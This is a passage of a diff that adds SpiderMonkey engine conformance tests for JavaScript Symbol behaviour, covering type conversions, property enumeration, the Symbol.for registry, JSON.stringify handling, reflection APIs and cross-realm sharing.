+ assertThrowsInstanceOf(() => String(symobj), TypeError);
+ assertThrowsInstanceOf(() => symobj < 0, TypeError);
+ assertThrowsInstanceOf(() => 0 < symobj, TypeError);
+ assertThrowsInstanceOf(() => symobj + 1, TypeError);
+ assertThrowsInstanceOf(() => "" + symobj, TypeError);
+ assertEq(sym == symobj, true);
+ assertEq(sym === symobj, false);
+ assertEq(symobj == 0, false);
+ assertEq(0 != symobj, true);
+
+ // 7.1.12 ToString
+ assertThrowsInstanceOf(() => String(Object(sym)), TypeError);
+}
+
+// Deleting Symbol.prototype[@@toPrimitive] does not change the behavior of
+// conversions from a symbol to other types.
+delete Symbol.prototype[Symbol.toPrimitive];
+assertEq(Symbol.toPrimitive in Symbol.prototype, false);
+testSymbolConversions(symbols[0]);
+
+// It does change the behavior of ToPrimitive on Symbol objects, though.
+// It causes the default algorithm (OrdinaryToPrimitive) to be used.
+var VALUEOF_CALLED = 117.25;
+Symbol.prototype.valueOf = function () { return VALUEOF_CALLED; };
+Symbol.prototype.toString = function () { return "toString called"; };
+for (var sym of symbols) {
+ var symobj = Object(sym);
+ assertEq(Number(symobj), VALUEOF_CALLED);
+ assertEq(String(symobj), "toString called");
+ assertEq(symobj < 0, VALUEOF_CALLED < 0);
+ assertEq(0 < symobj, 0 < VALUEOF_CALLED);
+ assertEq(symobj + 1, VALUEOF_CALLED + 1);
+ assertEq("" + symobj, "" + VALUEOF_CALLED);
+ assertEq(symobj == 0, false);
+ assertEq(0 != symobj, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/enumeration-order.js b/js/src/tests/non262/Symbol/enumeration-order.js
new file mode 100644
index 0000000000..8bcd1f02ff
--- /dev/null
+++ b/js/src/tests/non262/Symbol/enumeration-order.js
@@ -0,0 +1,40 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbols follow all other property keys in the result list.
+var log;
+function LoggingProxy() {
+ return new Proxy({}, {
+ defineProperty: (t, key, desc) => {
+ log.push(key);
+ return true;
+ }
+ });
+}
+
+var keys = [
+ "before",
+ Symbol(),
+ "during",
+ Symbol.for("during"),
+ Symbol.iterator,
+ "after"
+];
+var descs = {};
+for (var k of keys)
+ descs[k] = {configurable: true, value: 0};
+
+function test(descsObj) {
+ log = [];
+ Object.defineProperties(LoggingProxy(), descs);
+ assertEq(log.length, keys.length);
+ assertDeepEq(log.map(k => typeof k), ["string", "string", "string", "symbol", "symbol", "symbol"]);
+ for (var key of keys)
+ assertEq(log.indexOf(key) !== -1, true);
+}
+
+test(descs);
+test(new Proxy(descs, {}));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/enumeration.js b/js/src/tests/non262/Symbol/enumeration.js
new file mode 100644
index 0000000000..de993d69a7
--- /dev/null
+++ b/js/src/tests/non262/Symbol/enumeration.js
@@ -0,0 +1,52 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// for-in loops skip properties with symbol keys, even enumerable properties.
+var obj = {};
+obj[Symbol.for("moon")] = "sun";
+obj[Symbol("asleep")] = "awake";
+obj[Symbol.iterator] = "List";
+for (var x in obj)
+ throw "FAIL: " + String(x);
+
+// This includes inherited properties.
+var obj2 = Object.create(obj);
+for (var x in obj2)
+ throw "FAIL: " + String(x);
+
+// The same goes for proxies.
+var p = new Proxy(obj, {});
+for (var x in p)
+ throw "FAIL: " + String(x);
+var p2 = new Proxy(obj2, {});
+for (var x in p2)
+ throw "FAIL: " + String(x);
+
+// Object.keys() and .getOwnPropertyNames() also skip symbols.
+assertEq(Object.keys(obj).length, 0);
+assertEq(Object.keys(p).length, 0);
+assertEq(Object.keys(obj2).length, 0);
+assertEq(Object.keys(p2).length, 0);
+assertEq(Object.getOwnPropertyNames(obj).length, 0);
+assertEq(Object.getOwnPropertyNames(p).length, 0);
+assertEq(Object.getOwnPropertyNames(obj2).length, 0);
+assertEq(Object.getOwnPropertyNames(p2).length, 0);
+
+// Test interaction of Object.keys(), proxies, and symbol property keys.
+var log = [];
+var h = {
+ ownKeys: (t) => {
+ log.push("ownKeys");
+ return ["a", "0", Symbol.for("moon"), Symbol("asleep"), Symbol.iterator];
+ },
+ getOwnPropertyDescriptor: (t, key) => {
+ log.push("gopd", key);
+ return {configurable: true, enumerable: true, value: 0, writable: true};
+ }
+};
+p = new Proxy({}, h);
+assertDeepEq(Object.keys(p), ["a", "0"]);
+assertDeepEq(log, ["ownKeys", "gopd", "a", "gopd", "0"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/equality.js b/js/src/tests/non262/Symbol/equality.js
new file mode 100644
index 0000000000..eaa091ba43
--- /dev/null
+++ b/js/src/tests/non262/Symbol/equality.js
@@ -0,0 +1,30 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol.for returns the same symbol whenever the same argument is passed.
+assertEq(Symbol.for("q") === Symbol.for("q"), true);
+
+// Several distinct Symbol values.
+var symbols = [
+ Symbol(),
+ Symbol("Symbol.iterator"),
+ Symbol("Symbol.iterator"), // distinct new symbol with the same description
+ Symbol.for("Symbol.iterator"),
+ Symbol.iterator
+];
+
+// Distinct symbols are never equal to each other, even if they have the same
+// description.
+for (var i = 0; i < symbols.length; i++) {
+ for (var j = i; j < symbols.length; j++) {
+ var expected = (i === j);
+ assertEq(symbols[i] == symbols[j], expected);
+ assertEq(symbols[i] != symbols[j], !expected);
+ assertEq(symbols[i] === symbols[j], expected);
+ assertEq(symbols[i] !== symbols[j], !expected);
+ assertEq(Object.is(symbols[i], symbols[j]), expected);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/errors.js b/js/src/tests/non262/Symbol/errors.js
new file mode 100644
index 0000000000..d6eb37abc4
--- /dev/null
+++ b/js/src/tests/non262/Symbol/errors.js
@@ -0,0 +1,17 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Section numbers cite ES6 rev 24 (2014 April 27).
+
+var sym = Symbol();
+
+// 7.2.2 IsCallable
+assertThrowsInstanceOf(() => sym(), TypeError);
+assertThrowsInstanceOf(() => Function.prototype.call.call(sym), TypeError);
+
+// 7.2.5 IsConstructor
+assertThrowsInstanceOf(() => new sym(), TypeError);
+assertThrowsInstanceOf(() => new Symbol(), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/for-in-order.js b/js/src/tests/non262/Symbol/for-in-order.js
new file mode 100644
index 0000000000..7d1f234305
--- /dev/null
+++ b/js/src/tests/non262/Symbol/for-in-order.js
@@ -0,0 +1,33 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// ES6 does not specify enumeration order, but implementations mostly retain
+// property insertion order -- and must, for web compatibility. This test checks
+// that symbol-keyed properties do not interfere with that order.
+
+var obj = {};
+obj[Symbol("moon")] = 0;
+obj.x = 1;
+obj[Symbol.for("y")] = 2
+obj.y = 3;
+obj[Symbol.iterator] = function* () { yield 4; };
+obj.z = 5;
+Object.prototype[Symbol.for("comet")] = 6;
+
+var keys = [];
+for (var k in obj)
+ keys.push(k);
+assertDeepEq(keys, ["x", "y", "z"]);
+assertDeepEq(Object.keys(obj), ["x", "y", "z"]);
+
+// Test with more properties.
+for (var i = 0; i < 1000; i++)
+ obj[Symbol(i)] = i;
+obj.w = 1000;
+keys = []
+for (var k in obj)
+ keys.push(k);
+assertDeepEq(keys, ["x", "y", "z", "w"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/for.js b/js/src/tests/non262/Symbol/for.js
new file mode 100644
index 0000000000..43e2855113
--- /dev/null
+++ b/js/src/tests/non262/Symbol/for.js
@@ -0,0 +1,31 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol.for called twice with the same argument returns the same symbol.
+assertEq(Symbol.for("ponies"), Symbol.for("ponies"));
+
+// Called twice with equal strings: still the same result.
+var one = Array(64+1).join("x");
+var two = Array(8+1).join(Array(8+1).join("x"));
+assertEq(Symbol.for(one), Symbol.for(two));
+
+// Symbols created by calling Symbol() are not in the symbol registry.
+var sym = Symbol("123");
+assertEq(Symbol.for("123") !== sym, true);
+
+// Empty string is fine.
+assertEq(typeof Symbol.for(""), "symbol");
+
+// Primitive arguments.
+assertEq(Symbol.for(3), Symbol.for("3"));
+assertEq(Symbol.for(null), Symbol.for("null"));
+assertEq(Symbol.for(undefined), Symbol.for("undefined"));
+assertEq(Symbol.for(), Symbol.for("undefined"));
+
+// Symbol.for ignores the 'this' value.
+var foo = Symbol.for("foo")
+assertEq(Symbol.for.call(String, "foo"), foo);
+assertEq(Symbol.for.call(3.14, "foo"), foo);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/json-stringify-keys.js b/js/src/tests/non262/Symbol/json-stringify-keys.js
new file mode 100644
index 0000000000..3818cbb339
--- /dev/null
+++ b/js/src/tests/non262/Symbol/json-stringify-keys.js
@@ -0,0 +1,19 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// JSON.stringify ignores symbol-keyed properties, even enumerable ones.
+
+var obj = {a: 1};
+obj[Symbol.for("ponies")] = {toJSON: function () { throw "fit"; }};
+obj[Symbol.iterator] = {toJSON: function () { throw "fit"; }};
+assertEq(JSON.stringify(obj), '{"a":1}');
+
+var replacer = function (k, v) {
+ if (typeof k === "symbol")
+ throw "fit";
+ return v;
+};
+assertEq(JSON.stringify(obj, replacer), '{"a":1}');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Symbol/json-stringify-values.js b/js/src/tests/non262/Symbol/json-stringify-values.js
new file mode 100644
index 0000000000..0fe32eee54
--- /dev/null
+++ b/js/src/tests/non262/Symbol/json-stringify-values.js
@@ -0,0 +1,33 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// To JSON.stringify, symbols are the same as undefined.
+
+var symbols = [
+ Symbol(),
+ Symbol.for("ponies"),
+ Symbol.iterator
+];
+
+for (var sym of symbols) {
+ assertEq(JSON.stringify(sym), undefined);
+ assertEq(JSON.stringify([sym]), "[null]");
+
+ // JSON.stringify skips symbol-valued properties!
+ assertEq(JSON.stringify({x: sym}), '{}');
+
+ // However such properties are passed to the replacerFunction if any.
+ var replacer = function (key, val) {
+ assertEq(typeof this, "object");
+ if (typeof val === "symbol") {
+ assertEq(val, sym);
+ return "ding";
+ }
+ return val;
+ };
+ assertEq(JSON.stringify(sym, replacer), '"ding"');
+ assertEq(JSON.stringify({x: sym}, replacer), '{"x":"ding"}');
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Symbol/keyFor.js b/js/src/tests/non262/Symbol/keyFor.js
new file mode 100644
index 0000000000..868c3bda74
--- /dev/null
+++ b/js/src/tests/non262/Symbol/keyFor.js
@@ -0,0 +1,15 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+assertEq(Symbol.keyFor(Symbol.for("moon")), "moon");
+assertEq(Symbol.keyFor(Symbol.for("")), "");
+assertEq(Symbol.keyFor(Symbol("moon")), undefined);
+assertEq(Symbol.keyFor(Symbol.iterator), undefined);
+
+assertThrowsInstanceOf(() => Symbol.keyFor(), TypeError);
+assertThrowsInstanceOf(() => Symbol.keyFor(Object(Symbol("moon"))), TypeError);
+
+assertEq(Symbol.keyFor.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-accessor.js b/js/src/tests/non262/Symbol/property-accessor.js
new file mode 100644
index 0000000000..7a2c149a1e
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-accessor.js
@@ -0,0 +1,39 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var obj = {};
+var sym = Symbol();
+
+var gets = 0;
+var sets = [];
+Object.defineProperty(obj, sym, {
+ get: function () { return ++gets; },
+ set: function (v) { sets.push(v); }
+});
+
+// getter
+for (var i = 1; i < 9; i++)
+ assertEq(obj[sym], i);
+
+// setter
+var expected = [];
+for (var i = 0; i < 9; i++) {
+ assertEq(obj[sym] = i, i);
+ expected.push(i);
+}
+assertDeepEq(sets, expected);
+
+// increment operator
+gets = 0;
+sets = [];
+assertEq(obj[sym]++, 1);
+assertDeepEq(sets, [2]);
+
+// assignment
+gets = 0;
+sets = [];
+assertEq(obj[sym] *= 12, 12);
+assertDeepEq(sets, [12]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-basics.js b/js/src/tests/non262/Symbol/property-basics.js
new file mode 100644
index 0000000000..63bcb3867c
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-basics.js
@@ -0,0 +1,44 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var symbols = [
+ Symbol(),
+ Symbol("one"),
+ Symbol.for("two"),
+ Symbol.iterator,
+ Object(Symbol())
+];
+
+for (var sym of symbols) {
+ var obj = {};
+
+ // access a nonexistent property
+ assertEq(sym in obj, false);
+ assertEq(obj.hasOwnProperty(sym), false);
+ assertEq(obj[sym], undefined);
+ assertEq(typeof obj[sym], "undefined");
+ assertEq(Object.getOwnPropertyDescriptor(obj, sym), undefined);
+
+ // assign, then try accessing again
+ obj[sym] = "ok";
+ assertEq(sym in obj, true);
+ assertEq(obj.hasOwnProperty(sym), true);
+ assertEq(obj[sym], "ok");
+ assertDeepEq(Object.getOwnPropertyDescriptor(obj, sym), {
+ value: "ok",
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+
+ // assign again, observe value is overwritten
+ obj[sym] = 12;
+ assertEq(obj[sym], 12);
+
+ // increment
+ assertEq(obj[sym]++, 12);
+ assertEq(obj[sym], 13);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-inheritance.js b/js/src/tests/non262/Symbol/property-inheritance.js
new file mode 100644
index 0000000000..2fe6189689
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-inheritance.js
@@ -0,0 +1,50 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var sym = Symbol.for("hello");
+function F() {}
+var f = new F();
+
+// inherited data property
+F.prototype[sym] = "world";
+assertEq(sym in f, true);
+assertEq(f.hasOwnProperty(sym), false);
+assertEq(f[sym], "world");
+
+// shadowing assignment
+f[sym] = "kitty";
+assertEq(f[sym], "kitty");
+assertEq(F.prototype[sym], "world");
+
+// deletion, revealing previously shadowed property
+assertEq(delete f[sym], true);
+assertEq(f.hasOwnProperty(sym), false);
+assertEq(f[sym], "world");
+
+// inherited accessor property
+var value = undefined;
+Object.defineProperty(F.prototype, sym, {
+ configurable: true,
+ get: function () { return 23; },
+ set: function (v) { value = v; }
+});
+assertEq(sym in f, true);
+assertEq(f.hasOwnProperty(sym), false);
+assertEq(f[sym], 23);
+f[sym] = "gravity";
+assertEq(value, "gravity");
+
+// inherited accessor property with no setter
+Object.defineProperty(F.prototype, sym, {
+ set: undefined
+});
+assertThrowsInstanceOf(function () { "use strict"; f[sym] = 0; }, TypeError);
+
+// deeply inherited accessor property
+var g = Object.create(f);
+for (var i = 0; i < 100; i++)
+ g = Object.create(g);
+assertEq(g[sym], 23);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-nonwritable.js b/js/src/tests/non262/Symbol/property-nonwritable.js
new file mode 100644
index 0000000000..3e58383c78
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-nonwritable.js
@@ -0,0 +1,31 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var sym = Symbol.for("moon");
+function checkNotWritable(obj) {
+ // In sloppy mode, assigning to a nonwritable property silently fails.
+ obj[sym] = "portals";
+ assertEq(obj[sym], "cheese");
+
+ // In strict mode code, it throws.
+ assertThrowsInstanceOf(function () { "use strict"; obj[sym] = "robots"; }, TypeError);
+ assertEq(obj[sym], "cheese");
+}
+
+var x = {};
+Object.defineProperty(x, sym, {
+ configurable: true,
+ enumerable: true,
+ value: "cheese",
+ writable: false
+});
+
+checkNotWritable(x);
+
+// Assignment can't shadow inherited nonwritable properties either.
+var y = Object.create(x);
+checkNotWritable(y);
+checkNotWritable(Object.create(y));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-reflection.js b/js/src/tests/non262/Symbol/property-reflection.js
new file mode 100644
index 0000000000..5bdecf6632
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-reflection.js
@@ -0,0 +1,136 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Basic tests for standard Object APIs interacting with symbols.
+
+// Object.defineProperty
+function F() {}
+var f = new F;
+Object.defineProperty(f, Symbol.for("name"), {
+ configurable: true,
+ value: "eff"
+});
+assertEq("name" in f, false);
+assertEq("Symbol(name)" in f, false);
+assertEq(Symbol.for("name") in f, true);
+assertEq(f[Symbol.for("name")], "eff");
+
+// Object.defineProperties
+function D() {}
+var descs = new D;
+var s1 = Symbol("s1");
+var hits = 0;
+descs[s1] = {
+ get: () => hits++,
+ set: undefined,
+ enumerable: true,
+ configurable: true
+};
+var s2 = Symbol("s2");
+descs[s2] = {
+ value: {},
+ writable: true,
+ enumerable: false,
+ configurable: true
+};
+var s3 = Symbol("s3");
+D.prototype[s3] = {value: "FAIL"};
+assertEq(Object.defineProperties(f, descs), f);
+assertEq(s1 in f, true);
+assertEq(f[s1], 0);
+assertEq(hits, 1);
+assertEq(s2 in f, true);
+assertEq(f[s2], descs[s2].value);
+assertEq(s3 in f, false);
+
+// Object.create
+var n = Object.create({}, descs);
+assertEq(s1 in n, true);
+assertEq(n[s1], 1);
+assertEq(hits, 2);
+assertEq(s2 in n, true);
+assertEq(n[s2], descs[s2].value);
+assertEq(s3 in n, false);
+
+// Object.getOwnPropertyDescriptor
+var desc = Object.getOwnPropertyDescriptor(n, s1);
+assertDeepEq(desc, descs[s1]);
+assertEq(desc.get, descs[s1].get);
+desc = Object.getOwnPropertyDescriptor(n, s2);
+assertDeepEq(desc, descs[s2]);
+assertEq(desc.value, descs[s2].value);
+
+// Object.prototype.hasOwnProperty
+assertEq(descs.hasOwnProperty(s1), true);
+assertEq(descs.hasOwnProperty(s2), true);
+assertEq(descs.hasOwnProperty(s3), false);
+assertEq([].hasOwnProperty(Symbol.iterator), false);
+assertEq(Array.prototype.hasOwnProperty(Symbol.iterator), true);
+
+// Object.prototype.propertyIsEnumerable
+assertEq(n.propertyIsEnumerable(s1), true);
+assertEq(n.propertyIsEnumerable(s2), false);
+assertEq(n.propertyIsEnumerable(s3), false); // no such property
+assertEq(D.prototype.propertyIsEnumerable(s3), true);
+assertEq(descs.propertyIsEnumerable(s3), false); // inherited properties are not considered
+
+// Object.preventExtensions
+var obj = {};
+obj[s1] = 1;
+assertEq(Object.preventExtensions(obj), obj);
+assertThrowsInstanceOf(function () { "use strict"; obj[s2] = 2; }, TypeError);
+obj[s2] = 2; // still no effect
+assertEq(s2 in obj, false);
+
+// Object.isSealed, Object.isFrozen
+assertEq(Object.isSealed(obj), false);
+assertEq(Object.isFrozen(obj), false);
+assertEq(delete obj[s1], true);
+assertEq(Object.isSealed(obj), true);
+assertEq(Object.isFrozen(obj), true);
+
+obj = {};
+obj[s1] = 1;
+Object.preventExtensions(obj);
+Object.defineProperty(obj, s1, {configurable: false}); // still writable
+assertEq(Object.isSealed(obj), true);
+assertEq(Object.isFrozen(obj), false);
+obj[s1] = 2;
+assertEq(obj[s1], 2);
+Object.defineProperty(obj, s1, {writable: false});
+assertEq(Object.isFrozen(obj), true);
+
+// Object.seal, Object.freeze
+var obj = {};
+obj[s1] = 1;
+Object.seal(obj);
+desc = Object.getOwnPropertyDescriptor(obj, s1);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, true);
+Object.freeze(obj);
+assertEq(Object.getOwnPropertyDescriptor(obj, s1).writable, false);
+
+// Object.setPrototypeOf purges caches for symbol-keyed properties.
+var proto = {};
+proto[s1] = 1;
+Object.defineProperty(proto, s2, {
+ get: () => 2,
+ set: v => undefined
+});
+var obj = Object.create(proto);
+var last1, last2;
+var N = 9;
+for (var i = 0; i < N; i++) {
+ last1 = obj[s1];
+ last2 = obj[s2];
+ obj[s2] = "marker";
+ if (i === N - 2)
+ Object.setPrototypeOf(obj, {});
+}
+assertEq(last1, undefined);
+assertEq(last2, undefined);
+assertEq(obj.hasOwnProperty(s2), true);
+assertEq(obj[s2], "marker");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/realms.js b/js/src/tests/non262/Symbol/realms.js
new file mode 100644
index 0000000000..98a1284ee0
--- /dev/null
+++ b/js/src/tests/non262/Symbol/realms.js
@@ -0,0 +1,36 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbols can be shared across realms.
+
+if (typeof Reflect !== "undefined" && typeof Reflect.Realm === "function") {
+ throw new Error("Congratulations on implementing Reflect.Realm! " +
+ "Please update this test to use it.");
+}
+if (typeof newGlobal === "function") {
+ var g = newGlobal();
+ var gj = g.eval("jones = Symbol('jones')");
+ assertEq(typeof gj, "symbol");
+ assertEq(g.jones, g.jones);
+ assertEq(gj, g.jones);
+ assertEq(gj !== Symbol("jones"), true);
+
+ // A symbol can be round-tripped to another realm and back;
+ // the result is the original symbol.
+ var smith = Symbol("smith");
+ g.smith = smith; // put smith into the realm
+ assertEq(g.smith, smith); // pull it back out
+
+ // Spot-check that non-generic methods can be applied to symbols and Symbol
+ // objects from other realms.
+ assertEq(Symbol.prototype.toString.call(gj), "Symbol(jones)");
+ assertEq(Symbol.prototype.toString.call(g.eval("Object(Symbol('brown'))")),
+ "Symbol(brown)");
+
+ // Symbol.for functions share a symbol registry across all realms.
+ assertEq(g.Symbol.for("ponies"), Symbol.for("ponies"));
+ assertEq(g.eval("Symbol.for('rainbows')"), Symbol.for("rainbows"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/shell.js b/js/src/tests/non262/Symbol/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Symbol/shell.js
diff --git a/js/src/tests/non262/Symbol/species.js b/js/src/tests/non262/Symbol/species.js
new file mode 100644
index 0000000000..ba45066e1e
--- /dev/null
+++ b/js/src/tests/non262/Symbol/species.js
@@ -0,0 +1,30 @@
+var BUGNUMBER = 1131043;
+var summary = "Implement @@species getter for builtin types";
+
+print(BUGNUMBER + ": " + summary);
+
+var TypedArray = Object.getPrototypeOf(Int8Array);
+
+for (var C of [Array, Map, Set, RegExp,
+ Int8Array, Uint8Array, Uint8ClampedArray,
+ Int16Array, Uint16Array, Int32Array, Uint32Array,
+ Float32Array, Float64Array,
+ ArrayBuffer]) {
+ assertEq(C[Symbol.species], C);
+}
+
+for (C of [Array, Map, Set, RegExp,
+ TypedArray,
+ ArrayBuffer]) {
+ var desc = Object.getOwnPropertyDescriptor(C, Symbol.species);
+ assertDeepEq(Object.keys(desc).sort(), ["configurable", "enumerable", "get", "set"]);
+ assertEq(desc.set, undefined);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ assertEq(desc.get.apply(null), null);
+ assertEq(desc.get.apply(undefined), undefined);
+ assertEq(desc.get.apply(42), 42);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/surfaces.js b/js/src/tests/non262/Symbol/surfaces.js
new file mode 100644
index 0000000000..7b3ef9f9b2
--- /dev/null
+++ b/js/src/tests/non262/Symbol/surfaces.js
@@ -0,0 +1,34 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Test superficial properties of the Symbol constructor and prototype.
+
+var desc = Object.getOwnPropertyDescriptor(this, "Symbol");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+assertEq(typeof Symbol, "function");
+assertEq(Symbol.length, 0);
+
+desc = Object.getOwnPropertyDescriptor(Symbol, "prototype");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+assertEq(Symbol.prototype.constructor, Symbol);
+desc = Object.getOwnPropertyDescriptor(Symbol.prototype, "constructor");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+desc = Object.getOwnPropertyDescriptor(Symbol, "iterator");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+assertEq(Symbol.for.length, 1);
+assertEq(Symbol.prototype.toString.length, 0);
+assertEq(Symbol.prototype.valueOf.length, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/symbol-object-not-unboxed-for-value-to-id.js b/js/src/tests/non262/Symbol/symbol-object-not-unboxed-for-value-to-id.js
new file mode 100644
index 0000000000..d889a77162
--- /dev/null
+++ b/js/src/tests/non262/Symbol/symbol-object-not-unboxed-for-value-to-id.js
@@ -0,0 +1,31 @@
+// Create a symbol and a wrapper for it.
+var s = Symbol();
+var so = Object(s);
+
+// Create a symbol-valued property key using |s|.
+var o = {[s]: 0};
+
+// The default Symbol.prototype[@@toPrimitive] will unbox the symbol object as needed.
+assertEq(o.propertyIsEnumerable(so), true);
+assertEq(o.hasOwnProperty(so), true);
+
+// After redefining Symbol.prototype[@@toPrimitive], any calls to the ToPropertyKey
+// abstract operation will no longer unbox the symbol object.
+Object.defineProperty(Symbol.prototype, Symbol.toPrimitive, {
+ value: function() {
+ return "foo";
+ }
+});
+
+// |o| doesn't have a string-valued property named "foo".
+assertEq(o.propertyIsEnumerable(so), false);
+assertEq(o.hasOwnProperty(so), false);
+
+o.foo = 123;
+
+// After |o.foo| was added, both calls should return true again.
+assertEq(o.propertyIsEnumerable(so), true);
+assertEq(o.hasOwnProperty(so), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/toPrimitive-undefined-or-null.js b/js/src/tests/non262/Symbol/toPrimitive-undefined-or-null.js
new file mode 100644
index 0000000000..f43642e0f8
--- /dev/null
+++ b/js/src/tests/non262/Symbol/toPrimitive-undefined-or-null.js
@@ -0,0 +1,18 @@
+for (let method of [undefined, null]) {
+ let obj = {
+ [Symbol.toPrimitive]: method,
+ toString: () => "pass",
+ };
+ assertEq("" + obj, "pass");
+}
+
+for (let method of [true, false, 0, 123, "", "abc", Symbol(), {}]) {
+ let obj = {
+ [Symbol.toPrimitive]: method,
+ toString: () => "pass",
+ };
+ assertThrowsInstanceOf(() => "" + obj, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/toPrimitive.js b/js/src/tests/non262/Symbol/toPrimitive.js
new file mode 100644
index 0000000000..06262f99c6
--- /dev/null
+++ b/js/src/tests/non262/Symbol/toPrimitive.js
@@ -0,0 +1,39 @@
+// ES6 19.4.3.4 Symbol.prototype[@@toPrimitive](hint)
+
+// This method gets the primitive symbol from a Symbol wrapper object.
+var sym = Symbol.for("truth")
+var obj = Object(sym);
+assertEq(obj[Symbol.toPrimitive]("default"), sym);
+
+// The hint argument is ignored.
+assertEq(obj[Symbol.toPrimitive]("number"), sym);
+assertEq(obj[Symbol.toPrimitive]("string"), sym);
+assertEq(obj[Symbol.toPrimitive](), sym);
+assertEq(obj[Symbol.toPrimitive](Math.atan2), sym);
+
+// The this value can also be a primitive symbol.
+assertEq(sym[Symbol.toPrimitive](), sym);
+
+// Or a wrapper to a Symbol object in another compartment.
+var obj2 = newGlobal().Object(sym);
+assertEq(obj2[Symbol.toPrimitive]("default"), sym);
+
+// Otherwise a TypeError is thrown.
+var symbolToPrimitive = Symbol.prototype[Symbol.toPrimitive];
+var nonSymbols = [
+ undefined, null, true, 13, NaN, "justice", {}, [sym],
+ symbolToPrimitive,
+ new Proxy(obj, {})
+];
+for (var value of nonSymbols) {
+ assertThrowsInstanceOf(() => symbolToPrimitive.call(value, "string"), TypeError);
+}
+
+// Surface features:
+assertEq(symbolToPrimitive.name, "[Symbol.toPrimitive]");
+var desc = Object.getOwnPropertyDescriptor(Symbol.prototype, Symbol.toPrimitive);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/toString.js b/js/src/tests/non262/Symbol/toString.js
new file mode 100644
index 0000000000..b7bbda8762
--- /dev/null
+++ b/js/src/tests/non262/Symbol/toString.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var cases = [
+ {sym: Symbol(), str: "Symbol()"},
